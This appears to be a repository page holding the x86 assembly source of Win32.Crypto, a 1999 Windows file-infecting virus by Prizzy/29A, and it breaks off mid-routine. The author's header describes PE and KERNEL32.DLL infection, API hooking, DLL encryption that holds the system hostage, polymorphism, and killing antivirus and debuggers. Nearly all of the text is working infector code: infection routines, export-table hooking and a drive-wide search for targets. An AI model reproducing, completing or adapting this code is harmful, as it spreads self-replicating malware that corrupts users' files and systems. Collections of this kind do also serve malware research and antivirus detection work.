MalwareSourceCode/Win32/Infector/Win32.Crypto.asm
2020-10-16 23:26:21 +02:00

8660 lines
230 KiB
NASM
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;
; ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿
; : Prizzy/29A : Win32.Crypto : Prizzy/29A :
; ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ
;
; I'm very proud on my very first virus at Win32 platform. It infects EXE
; files with PE (Portable Executable) header. Also it can compress itself
; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it
; encrypt/decrypt that by cryptography functions. Thus, we can pronounce
; the system is dependents on the virus (OneHalf idea).
;
; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32
; functions and next reboot is actived. It catches "all" file operations,
; create thread/mutex, run Hyper Infection for API to find archivez, AV
; checksum files, EXEs and so on.
;
; If PHI-API will find an archive program, the virus compress itself and
; add itself to body (inside, not at the end). My PPE-II does NOT support
; copro & mmx garbages, only based with many features are new.
;
;
; Detailed Information
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;
; Cryptography Area, based on WinAPI (SR2/NT) functions
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Let us start. I exploited One Half technics for Win32 world, new method
; in our VX world. You exactly know One Half tries to encode your sectors
; and if you want to read its he decodes ones and so on, you exactly know
; what I think. Well, and because I use kernel32 infection I can hook all
; file functions. Then I decode all DLL files by PHI-II (Hyper Infection)
; and if the system wants to open DLL file I decode one, and so on. Then,
; the Win32 system is dependents on my virus. Naturally, the user can re-
; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ,
; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has
; 831 DLL files and on my all disks are 5103 DLL files (including Win2k).
; I know this is the perfect way to get all what you want. But I've found
; out I can't hook all Win32 file operations so, true crypto DLL will be
; inside Ring0/Ring3 world - my future work...
;
;
; Prizzy Polymorphic Engine (PPE-II new version)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; I've removed all copro & mmx garbages and I've coded these new stuff:
; * brute-attack algorithm
; * random multi-layer engine
; By "brute-attack" I'm finding right code value by checksum. And because
; I don't know that number, AV neither. This process can take mostly 0.82
; seconds on my P233. For more info find "ppe_brute_init:" in this source
;
; In the second case I don't decode by default (up to down) but by random
; multi-layer algorithm. It means I generate the certain buffer and by
; its I decode up or down. Thus I can generate more then 950 layers and
; typical some 69 layers. Also the random buffer, behind poly loop, has
; anti-heuristic protection (gaps) to AV couldn't simulate that process.
; So, only in my decoding loop are stored the places where the gaps are.
; Find "ppe_mlayer_generate:" label for many momre information.
;
;
; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; I will find these archive programs and by them I will compress some in-
; fected file by random compression level. Then the dropper is stored in-
; side archive, not at the end. So, I don't need have any CRC algorithms.
; However these operations are very complex, especially ZIP infection but
; it isn't impossible. So, AV cannot check only last file (stored) in ar-
; chive, but inside it.
;
;
; Main features
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;
; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build)
; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems
; * Non-residency: Yes, only K32 infection
; * Stealth: Yes, DLLs working; opening, copying and loading
; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for
; disable SoftICE 95/NT.
; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic
; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database
; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor
; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect
; all types of archivez on all diskz
; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu-
; ding brute-force way and random multi-layer way
; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32
; (b) Encoding and decoding DLLs in real time
; (c) Memory allocations by "CreateFileMapping" func.
; 'cause of sharing among processes
; (d) Use of threads, mutexes & process tricks
; (e) Support of "do not infected" table
; (f) Checking files by natural logarithm
; (g) No optimalization, yeah, I don't lie (read
; "Words from Prizzy" 29A #4 to know why)
; (h) UniCode support
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄÄÄ
;
; And finally my greetz go to:
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Darkman u're really great inet pal, thanx for fun on #virus :)
; Benny thanx for big help with threads, mutexes... we're wait-
; ing for Darkman's trip here, aren't we :) ?
; GriYo nah, I'd like to understand your ideas... thanx :) !
; Flush u've really big anti-* ideas, dude
; MemoryLapse yeah, K32 infection... go out of efnet to undernet
; LordJulus you have great vx articles, viruses ...
; Asmodeus finish that virus and release it; thanx for your trust
; AV companies just where is my win9x.prizzy description :) ?
; ...and for VirusBuster and Bumblebee
;
;
; Contact me
; ÄÄÄÄÄÄÄÄÄÄ
; prizzy@coderz.net
; http://prizzy.cjb.net
;
;
; (c)oded by Prizzy/29A, December 1999
;
;
.386p
.model flat,STDCALL
include Include\Win32API.inc
include Include\UseFul.inc
include Include\MZ.inc
include Include\PE.inc
extrn ExitProcess:proc
extrn MessageBoxA:proc
;ÄÄÄ´ prepare to program start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.data
db ?
.code
;ÄÄÄ´ some equ's needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;DEBUG equ YEZ ;only for debug and 1st start
mem_size equ (mem_end -virus_start) ;size of virus in memory
file_size equ (file_end-virus_start) ;size of virus in file
infect_minsize equ 4096 ;only filez bigger then 4K
infect_maxsize equ 100*1024*1024 ;to 100Mb
access_ebx equ (dword ptr 16) ;access into stack when
access_edx equ (dword ptr 20) ;will be used pushad
access_ecx equ (dword ptr 24)
access_eax equ (dword ptr 28)
search_mem_size equ 100*(size dta+size search_address)
;ÄÄÄ´ some structurez for virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dta_struc struc ;Win32_FIND_DATA structure
dta_fileattr dd ? ;for FindFirstFile function
dta_time_creation dq ?
dta_time_lastaccess dq ?
dta_time_lastwrite dq ?
dta_filesize_hi dd ?
dta_filesize dd ?
dta_reserved_0 dd ?
dta_reserved_1 dd ?
dta_filename db 260 dup (?)
dta_filename_short db 14 dup (?)
ends
sysTime_struc struc ;used by my Windows API
wYear dw 0000h ;"hyper infection"
wMonth dw 0000h
wDayOfWeek dw 0000h
wDay dw 0000h
wHour dw 0000h
wMinute dw 0000h
wSecond dw 0000h
wMilliseconds dw 0000h
ends
Process_Information struc ;CreateProcess: struc #1
hProcess dd 00000000h
hThread dd 00000000h
dwProcessId dd 00000000h
dwThreadId dd 00000000h
ends
Startup_Info struc ;CreateProcess: struc #2
cb dd 00000000h
lpReserved dd 00000000h ;this struc has been stolen
lpDesktop dd 00000000h ;from "Win32 Help"
lpTitle dd 00000000h
dwX dd 00000000h
dwY dd 00000000h
dwXSize dd 00000000h
dwYSize dd 00000000h
dwXCountChars dd 00000000h
dwYCountChars dd 00000000h
dwFillAttribute dd 00000000h
dwFlags dd 00000000h
wShowWindow dw 0000h
cbReserved2 dw 0000h
lpReserved2 dd 00000000h
hStdInput dd 00000000h
hStdOutput dd 00000000h
hStdError dd 00000000h
ends
File_Time struc ;get/set file time struc
dwLowDateTime dd 00000000h
dwHighDateTime dd 00000000h
ends
;ÄÄÄ´ some macroz needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; search "anti-emulators:" for more information
@ANTI_E_START macro start_hack, finish_hack
WHILE (num NE 0)
push dword ptr [ebp+start_hack + \
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
num = (finish_hack - start_hack) / 4 + 1
endm
@ANTI_E_FINISH macro start_hack, finish_hack, thread_handle
WHILE (num NE 0)
pop dword ptr [ebp+finish_hack - \
(finish_hack-start_hack) mod 4 - \
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
call [ebp+ddCloseHandle], thread_handle
num = (finish_hack - start_hack) / 4 + 1
endm
;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
virus_start:
call get_base_ebp ;get actual address to EBP
mov eax,ebp
db 2Dh ;sub eax,infected_ep
infected_ep: dd 00001000h
db 05h ;add eax,original_ep
original_ep: dd 00000000
sub eax,[ebp+__pllg_lsize]
push eax ;host address
; use anti-emulator
pusha
@SEH_SetupFrame <jmp __anti_e_1>;set SEH handler
call $ ;ehm :)
jmp __return
__anti_e_1:
@SEH_RemoveFrame ;reset SEH handler
popa
call find_kernel32 ;find kernel's base address
; use anti-emulator
@ANTI_E_START __thread_1_begin, __thread_1_finish
lea eax,[ebp+__thread_1] ;thread function
mov ebx,offset __thread_1_begin + \
(__thread_1_finish - __thread_1_begin) \
shl 18h ;upper imm8 register in EBX
call __MyCreateThread ; * anti-heuristic
__thread_1_begin equ this byte
jmp $ ;anti-emulator :)
jmp __return ;patch this ! random number
__thread_1_finish equ this byte
@ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax
; next code...
call kill_av_monitors ;kill AVP, AVAST32 etc.
call kill_debuggers ;bye, bye SoftICE, my honey
call create_mutex ;already resident ?
jc __return ;go back, if yes
call crypto_startup
call infect_kernel ;ehm, find kernel and infect!
__return:
pop eax
add eax,offset virus_start
jmp eax ;go back, my lord...
;ÄÄÄ´ main function for infect file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This is main function which infects file.
;
;Extension support:
; EXE ... executable file (PE), RAR/ACE SFX file
; DLL ... kernel32 infection, encypting through PHI-API
; CAB ... infecting Microsoft Cabinet File
; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive
;
;Okay, here is truth. I had many problems with EXE and DLL
;infection in this function. I found out all valuez have
;to be aligned etc. Especially Win2k need that. I also use
;"CheckSumMappedFile" function to calculate appz checksum.
;
infect_file:
; save registers & get delta
pusha
call get_base_ebp
; get extension
mov edi,[ebp+filename_ptr]
; convert lowercase characters to uppercase
push edi
call [ebp+ddlstrlen] ;get length of filename
inc eax ;number of characters to
push eax ;progress
push edi ;filename
call [ebp+ddCharUpperBuffA] ;convert to uppercase
; infect only files in these dirz
IFDEF DEBUG
cmp [edi+00000000h],'W\:C' ;"C:\WIN\WEWB4\XX\"
jnz __if_debug ;directory
cmp [edi+00000004h],'W\NI'
jnz __if_debug
cmp [edi+00000008h],'4BWE'
jnz __if_debug
cmp [edi+0000000Ch],'\XX\'
jz __if_debug2
__if_debug:
cmp [edi],'W\:C' ;"C:\WINDOWS\KERN"
jnz infect_file_exit
cmp [edi+4],'ODNI'
jnz infect_file_exit
cmp [edi+8],'K\SW'
jnz infect_file_exit
cmp [edi+8+4],'ENRE'
jnz infect_file_exit
__if_debug2:
ENDIF
; check file name (by avoid table)
mov ebx,[ebp+filename_ptr] ;filename
lea esi,[ebp+avoid_table] ;avoid table
call validate_name
jc infect_file_exit
; check AV files (anti-bait)
call fuck_av_files
jc infect_file_exit
; get extension
cld
mov al,'.' ;search this char
mov cx,filename_size ;max filename_size
repnz scasb ;searching...
dec edi ;set to that char
cmp al,[edi] ;check again !
jnz infect_file_exit ;shit, bad last char
IFDEF DEBUG
mov eax,[edi-4] ;you can infect only
cmp eax,'23LE'
jz __OnlyMyKernel
cmp eax,'DCBA' ;this file on my disk
jnz infect_file_exit ;i won't risk
__OnlyMyKernel:
ENDIF
; get file information
lea esi,[ebp+dta] ;dta structure
mov edx,[ebp+filename_ptr] ;FileName pointer
call __MyFindFirst
jc infect_file_exit ;success ?
call __MyFindClose ;close handle
cmp dword ptr [ebp+it_is_kernel],00000001h
jz infect_file_continue ;if kernel32, infect it
; check extension
mov eax,[edi] ;get ext of file
not eax
cmp eax,not 'EXE.' ;is it EXE file ?
jnz next_ext_1
call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ?
jnc infect_file_exit
jmp next_ext_end
next_ext_1:
cmp eax,not 'ECA.' ;is it ACE archive file ?
jnz next_ext_2
call infect_ACE
next_ext_2:
cmp eax,not 'RAR.' ;is it RAR archive file ?
jnz next_ext_3
call infect_RAR
next_ext_3:
cmp eax,not 'JRA.' ;is it ARJ archive file ?
jnz next_ext_4
call infect_ARJ
next_ext_4:
cmp eax,not 'PIZ.' ;is it ZIP archive file ?
jnz next_ext_5
call infect_ZIP
next_ext_5:
cmp eax,not 'BAC.' ;is it CAB archive file ?
jnz infect_file_exit
call infect_CAB
jmp infect_file_exit
next_ext_end: ;infect if any EXE file
; check number of infected files
cmp [ebp+NewACE.dropper],00000000h
jz infect_file_continue ;dropper exists ?
cmp dword ptr [ebp+file_infected],20
jae infect_file_exit ;infected more then 20 EXEs ?
; check file size
infect_file_continue:
mov eax,[ebp+dta.dta_filesize]
cmp eax,infect_minsize ;is filesize smaller ?
jb infect_file_exit
cmp eax,infect_maxsize ;is filesize bigger ?
ja infect_file_exit
; set file attributes
mov ecx,FILE_ATTRIBUTE_NORMAL
mov edx,[ebp+filename_ptr]
call __MySetAttrFile
jc infect_file_exit ;success ?
; open file
mov edx,[ebp+filename_ptr]
call __MyOpenFile ;open file !
jc infect_file_restattr
mov [ebp+file_handle],eax
; create a memory map object
push 00000000h ;name of file mapping object
push 00000000h ;low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READONLY ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
or eax,eax ;failed ?
jz infect_file_close
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our address
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_READ ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
or eax,eax ;failed ?
jz infect_file_closeMap
mov [ebp+file_hmem],eax ;mapped file in memory
; check file signature
cmp word ptr [eax.MZ_magic], \
IMAGE_DOS_SIGNATURE ;test 'MZ'
jnz infect_file_unMap
; check "PE" valuez
cmp word ptr [eax.MZ_crlc],0000h
jz infect_file_okay ;no PE ?
cmp word ptr [eax.MZ_lfarlc],0040h
jb infect_file_unMap ;bad PE ?
infect_file_okay:
; seek on NT header
mov esi,eax
add esi,[eax.MZ_lfanew]
push esi
call [ebp+ddIsBadCodePtr] ;can we read memory at least?
or eax,eax
jnz infect_file_unMap
; check "PE" signature
cmp dword ptr [esi.NT_Signature], \
IMAGE_NT_SIGNATURE
jnz infect_file_unMap ;is it really 'PE\0\0' ?
; already infected ?
mov eax,[ebp+file_hmem] ;mapped file in memory
add eax,[ebp+dta.dta_filesize]
mov eax,[eax-00000004h] ;infected dword flag
call __check_infected
jnc infect_file_unMap
; check header flags
mov ax,[esi+NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz infect_file_unMap
test ax,IMAGE_FILE_DLL ;no DLL ?
jz infect_file_no_dll
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_unMap ;is it kernel32 infection ?
infect_file_no_dll:
call __getLastObjectTable ;seek on last object table
; alloc memory for polymorphic engine
mov eax,file_size + 30000h
call malloc
mov [ebp+mem_address],eax
add eax,file_size
mov [ebp+poly_start],eax
; get new entry-point (EXE), or change IT of kernel32 ?
mov eax,[ebx+SH_SizeOfRawData]
add eax,[ebx+SH_VirtualAddress]
mov dword ptr [ebp+infected_ep],eax
mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint]
mov dword ptr [ebp+original_ep],eax
mov [ebp+poly_finish],mem_size
; run Prizzy Polymorphic Engine (PPE-II)
cmp dword ptr [ebp+it_is_kernel],00000000h
jnz infect_file_common
call ppe_startup
; calculate maximum infected file size
infect_file_common:
mov eax,[ebx+SH_SizeOfRawData] ;file size
add eax,[ebx+SH_PointerToRawData]
add eax,[ebp+poly_finish] ; + virus file size
add eax,00000004h ; + infected flag
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
push eax
; unmap file object
push [ebp+file_hmem]
call [ebp+ddUnmapViewOfFile]
; close mapping file object
push [ebp+file_hmap]
call [ebp+ddCloseHandle]
; reopen memory mapped file object
push 00000000h ;name of file mapping object
push dword ptr [esp+0000004h];low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READWRITE ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our memory
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_WRITE ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
mov [ebp+file_hmem],eax ;mapped file in memory
; seek on last object table
add eax,[eax.MZ_lfanew]
mov esi,eax
call __getLastObjectTable
; infect "KERNEL32" file OR change EntryPoint
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_entry
mov [ebp+__pllg_lsize],00000000h ;more info in that func
call infect_file_kernel ;hook "kernel32" table :)
jmp infect_file_no_change
infect_file_entry:
mov eax,dword ptr [ebp+infected_ep]
add eax,[ebp+file_size3]
mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
; copy mem_address (virus body) to the end of file
infect_file_no_change:
push esi
mov esi,[ebp+mem_address] ;source data
mov edi,[ebx+SH_SizeOfRawData]
add edi,[ebx+SH_PointerToRawData]
add edi,[ebp+file_hmem] ;destination pointer
mov ecx,[ebp+poly_finish] ;number of bytes to copy
rep movsb
pop esi
; calculate new physical size
mov eax,[ebp+poly_finish]
cmp dword ptr [ebp+it_is_kernel],00000000h
jz $ + 7 ;this isn't logic but i had
mov eax,mem_size ;problems in k32 memory
add eax,[ebx+SH_SizeOfRawData]
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
mov [ebx+SH_SizeOfRawData],eax
; calculate new potential virtual size
mov eax,[ebx+SH_VirtualSize]
add eax,mem_size
mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
; if new phys_size > virt_size ==> virt_size = phys_size
cmp eax,[ebx+SH_SizeOfRawData]
jnc infect_file_no_update
mov eax,[ebx+SH_SizeOfRawData]
infect_file_no_update:
mov [ebx+SH_VirtualSize],eax
add eax,[ebx+SH_VirtualAddress]
; infected host increased an image size ?
cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage]
jc infect_no_update_2
mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax
infect_no_update_2:
; set these PE flags
or dword ptr [ebx+SH_Characteristics], \
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \
IMAGE_SCN_MEM_WRITE
; already infected flag
mov eax,02302301h ;special number
call ppe_get_rnd_range
inc eax ;it can't be zero
imul eax,117 ;encrypt one
pop edi ;file size + virus size
mov [ebp+file_hsize],edi
add edi,[ebp+file_hmem] ;mapped file in memory
mov [edi-00000004h],eax ;already infected flag
; calculate new checksum because of Win2k and WinNT :)
cmp dword ptr [esi+NT_OptionalHeader. \
OH_CheckSum],00000000h
jz infect_file_no_checksum
@pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library
call [ebp+ddLoadLibraryA]
or eax,eax ;failed ?
jz infect_file_no_checksum
push eax ;parameter for FreeLibrary
; get function to calculate checksum
@pushsz "CheckSumMappedFile" ;get address of this function
push eax ;library handle
call [ebp+ddGetProcAddress]
or eax,eax
jz infect_file_deload
; calculate checksum
lea ecx,[esi+NT_OptionalHeader.OH_CheckSum]
push ecx ;receives computed checksum
call $+9 ;header old checksum
dd ?
push dword ptr [ebp+file_hsize]
push [ebp+file_hmem] ;memory mapped address
call eax
infect_file_deload:
call [ebp+ddFreeLibrary]
; dealloc memory for PPE-II
infect_file_no_checksum:
mov eax,[ebp+mem_address]
call mdealloc
; new infected file
inc dword ptr [ebp+file_infected]
; use for acrhive dropper ?
cmp dword ptr [ebp+dta.dta_filesize],30000
ja infect_file_unMap ;for archive fsize < 30Kb
push [ebp+file_hmem] ;mapped file in memory
call [ebp+ddUnmapViewOfFile]
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
mov ebx,[ebp+file_handle] ;I must close infected file
call __MyCloseFile ;coz I'll copy it, etcetera
call __add_dropper ;compress it by ZIP, RAR ...
jmp infect_file_restattr
infect_file_unMap:
push [ebp+file_hmem] ;mapped file in memory
call [ebp+ddUnmapViewOfFile]
infect_file_closeMap:
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
infect_file_time:
lea eax,[ebp+dta.dta_time_lastwrite]
lea ecx,[ebp+dta.dta_time_lastaccess]
lea edx,[ebp+dta.dta_time_creation]
call [ebp+ddSetFileTime], \
[ebp+file_handle], \
edx, ecx, eax
infect_file_close:
mov ebx,[ebp+file_handle] ;close file handle
call __MyCloseFile
infect_file_restattr:
mov ecx,[ebp+dta.dta_fileattr]
mov edx,[ebp+filename_ptr] ;restore file attributes
call __MySetAttrFile
infect_file_exit:
popa ;go to HyperInfection or to
ret ;Kernel32 hooked functions
;---------------------------------------------------------
;Common file infected semi-functions.
;
__getLastObjectTable:
movzx eax,[esi+NT_FileHeader.FH_NumberOfSections]
cdq
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
dec eax
mul ecx ;eax=offs of last section
movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader]
add eax,edx
add eax,esi
add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table
xchg eax,ebx
ret
;ÄÄÄ´ function to hook some funtions from KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;At last I've finished this unpalatable function. I remem-
;ber how hardly I have found an interesting source about
;this method because I have many many problems with this.
;So, let's begin. At first I will get these addresses:
; * name table pointer (as are function names)
; * address table pointer (as are functions addresses)
; * ordinal table pointer
;Then I'll get function name, calculate its CRC32 and I'll
;compare it with my future-hooked CRC32 table. If I will
;find it, i will save its original address, replace by my
;my new offset and I'll write it to the file.
;
;I would like to thank:
; * "Memory Lapse" for his "Win32.Heretic" source
; * Darkman/29A for giving me that source
;
;I must infect "kernel32.dll" because I must hook all disk
;functions because of "Prizzy Hyper Infection for API".
;
infect_file_kernel:
; save all registers
pusha
; check address of APIs in KERNEL32 file body
mov eax,[ebp+file_hmem]
add eax,[eax.MZ_lfanew] ;go to new "PE" header
mov eax,dword ptr [eax.OH_DirectoryEntries + \
IMAGE_SIZEOF_FILE_HEADER + \
00000004h] ;get Export Directory Table
add eax,[ebp+file_hmem]
mov ebx,[eax.ED_AddressOfOrdinals]
mov esi,[eax.ED_AddressOfNames]
mov edx,[eax.ED_AddressOfFunctions]
push [eax.ED_BaseOrdinal] ;save BaseOrdinal
add eax,[eax.ED_BaseOrdinal]
add ebx,[ebp+file_hmem] ;adjust ordinal table pointer
add esi,[ebp+file_hmem] ;adjust name table pointer
add edx,[ebp+file_hmem] ;adjust address table pointer
push edx esi ebx ;save startup values
; main loop
lea edi,[ebp+Hooked_API]
mov ecx,00000001h
__ifk_next_loop:
push edx ;address table pointer
push ecx ;save counter
shl ecx,01h ;convert to word index
movzx eax,word ptr [ebx+ecx] ;calculate ordinal index
sub eax,[esp+00000014h] ;relative to ordinal basee
shl eax,02h ;convert to dword index
mov edx,eax
mov ecx,[esp+00000010h] ;address pointer table
add eax,ecx ;calculate offset
lea ecx,[ecx+edx] ;RVA of API
push esi ;address name table
mov esi,[esi] ;get pointer from name table
add esi,[ebp+file_hmem]
call __get_CRC32 ;get CRC32 for function name
cmp eax,[edi] ;compare CRC32
pop esi
jnz __ifk_not_found
push edi ;load original function addr
lea eax,[ebp+Hooked_API]
sub edi,eax
shl edi,01h ;so, (x/2)*8
lea eax,[ebp+Hooked_API_functions]
add edi,eax
mov eax,[edi] ;get address into "jmp ????"
add eax,ebp ;ehm, adjust that address
mov ebx,[ecx] ;load original address
add ebx,[ebp+kernel_base]
mov [eax],ebx ;save original func. address
mov eax,[edi+00000004h] ;load new address in v.body
pop edi
add edi,00000004h ;next CRC32 function value
sub eax,offset virus_start ; - "offset"
add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32"
mov [ecx],eax
; for next loop I must restart these values
mov ebx,[esp+00000008h] ;load ordinal table pointer
mov esi,[esp+0000000Ch] ;load name table pointer
mov edx,[esp+00000010h] ;load address table pointer
mov dword ptr [esp],00000000h ;reset counter
mov [esp+00000004h],edx ;reset address table pointer
jmp __ifk_no_change ;this was fucking bug !
__ifk_not_found:
add esi,00000004h ;next name pointer
add dword ptr [esp + \ ;next function pointer
00000004h],00000004h
__ifk_no_change:
pop ecx ;functions counter
inc ecx ;next function
pop edx ;address table pointer
cmp dword ptr [edi],00000000h ;end of hooked functions ?
jnz __ifk_next_loop
mov dword ptr [ebp+it_is_kernel],00000000h
mov dword ptr [ebp+HyperInfection_k32],00000000h
; write this virus body to the end of "kernel32.dll"
; virus body cannot be encrypted...
lea esi,[ebp+virus_start] ;start of virus body
mov edi,[ebp+mem_address] ;allocated memory
mov ecx,mem_size
rep movsb
mov dword ptr [ebp+it_is_kernel],00000001h
mov eax,mem_size ;without poly-engine !!!
mov [ebp+poly_finish],eax
add esp,4*4
popa
ret ;complex way how to go back
;ÄÄÄ´ main function of infect all filez on disks ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function searchs these extensions on all disks:
; EXE, ZIP, ARJ, RAR, ACE, CAB, ...
;and many namez, find "HyperTable" struct for more info.
;If you want to know more about this method, open "Hyper
;Infection" article in 29A #4, or download one from my web
;
;Note: * This is version for API, for IDT orientation use
; code from "Win95.Prizzy", thanks.
;
init_search:
pusha
call get_base_ebp ;where we're into ebp
mov ebx,[ebp+search_table] ;position in HyperTable
cmp byte ptr [ebp+search_start],00h
jnz __continue
mov byte ptr [ebp+search_start],01h
call get_disks ;get drive parameters
lea eax,[ebp+time]
push eax
call [ebp+ddGetSystemTime] ;get actual time
mov eax,search_mem_size ;size of mem for searching
call malloc
jz init_search_error ;were we sucessful ?
mov [ebp+search_address],eax
mov eax,005C3A43h ;'C:\\0'
mov dword ptr [ebp+search_filename],eax
__searching:
mov byte ptr [ebp+search_plunge],00h
jmp search_all_dirs
__searching_end:
cmp byte ptr [ebp+search_filename],'Z'
jz init_search_done
inc byte ptr [ebp+search_filename]
mov word ptr [ebp+search_filename+2],005Ch
; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ?
mov cl,'A'
sub cl,[ebp+search_filename]
neg cl
mov eax,00000001h
shl eax,cl ;convert to BCD
test [ebp+gdt_flags],eax
jnz __searching ;may I "use" this disk ?
jmp __searching_end ;uaaaaah, i'm crazy... :)
init_search_exit:
mov ecx,dword ptr [ebp+search_address]
call mdealloc ;deallocate memory
init_search_error:
popa ;restore all regz
ret
init_search_done: ;all disks infected?
call hookHyperInfection_Done ;remove timer
jmp init_search_exit
search_all_dirs:
lea ebx,[ebp+HyperTable]
search_all_dirs_continue:
call __add_filename ;add filename or extension
call __calc_in_mem ;offs dta in mem to esi
lea edx,[ebp+search_filename]
call __MyFindFirst
mov [esi-size search_handle],eax ;save handle
jc __find_dir ;error ?
__repeat:
call __clean ;delete extension
push esi
lea esi,[esi].dta_filename ;and add file name
@copysz ;copy with zero char
pop esi ;restore esi=dta in memory
lea eax,[ebp+search_filename]
mov [ebp+filename_ptr],eax
__final_SoftICE_1:
nop
nop
; int 4 ;final SoftICE breakpoint
